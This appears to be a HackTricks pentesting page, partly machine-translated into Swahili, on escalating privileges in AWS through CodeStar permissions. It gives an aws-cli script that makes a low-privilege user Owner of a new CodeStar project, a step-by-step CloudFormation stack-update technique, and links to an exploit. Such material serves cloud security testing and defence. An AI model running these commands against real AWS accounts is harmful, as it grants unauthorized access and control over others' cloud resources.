AWS - Codestar Privesc

Support HackTricks

Codestar

You can find more information about codestar in:

iam:PassRole, codestar:CreateProject

With these permissions you can tumia IAM Role ya codestar kufanya vitendo vya kiholela kupitia cloudformation template. Check the following page:

codestar:CreateProject, codestar:AssociateTeamMember

This technique uses codestar:CreateProject to create a codestar project, and codestar:AssociateTeamMember to make an IAM user the mmiliki wa mradi mpya wa CodeStar, ambayo itawapa sera mpya yenye ruhusa chache za ziada.

PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

Ikiwa wewe ni mwanachama wa mradi tayari unaweza kutumia ruhusa codestar:UpdateTeamMember kuboresha nafasi yako kuwa mmiliki badala ya codestar:AssociateTeamMember.

Athari Zinazoweza Kutokea: Privesc kwa sera ya codestar iliyoundwa. Unaweza kupata mfano wa sera hiyo katika:

codestar:CreateProjectFromTemplate

  1. Unda Mradi Mpya:

  • Tumia hatua codestar:CreateProjectFromTemplate kuanzisha uundaji wa mradi mpya.

  • Baada ya uundaji kufanikiwa, ruhusa inatolewa moja kwa moja kwa cloudformation:UpdateStack.

  • Ruhusa hii inahusisha stack inayohusishwa na nafasi ya CodeStarWorker-<jina la mradi wa kawaida>-CloudFormation.

  1. Sasisha Stack Inayolengwa:

  • Kwa ruhusa za CloudFormation zilizotolewa,endelea kusasisha stack iliyoainishwa.

  • Jina la stack kawaida litafuata moja ya mifumo miwili:

  • awscodestar-<jina la mradi wa kawaida>-infrastructure

  • awscodestar-<jina la mradi wa kawaida>-lambda

  • Jina halisi linategemea template iliyochaguliwa (angalia mfano wa script ya unyakuzi).

  1. Upatikanaji na Ruhusa:

  • Baada ya sasisho, unapata uwezo uliopewa CloudFormation IAM role iliyounganishwa na stack.

  • Kumbuka: Hii haipatii moja kwa moja ruhusa kamili za msimamizi. Rasilimali zingine zisizo sahihi ndani ya mazingira zinaweza kuhitajika ili kuongeza ruhusa zaidi.

Kwa maelezo zaidi angalia utafiti wa asili: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/. Unaweza kupata unyakuzi katika https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py

Athari Zinazoweza Kutokea: Privesc kwa nafasi ya cloudformation IAM.

Support HackTricks

Last updated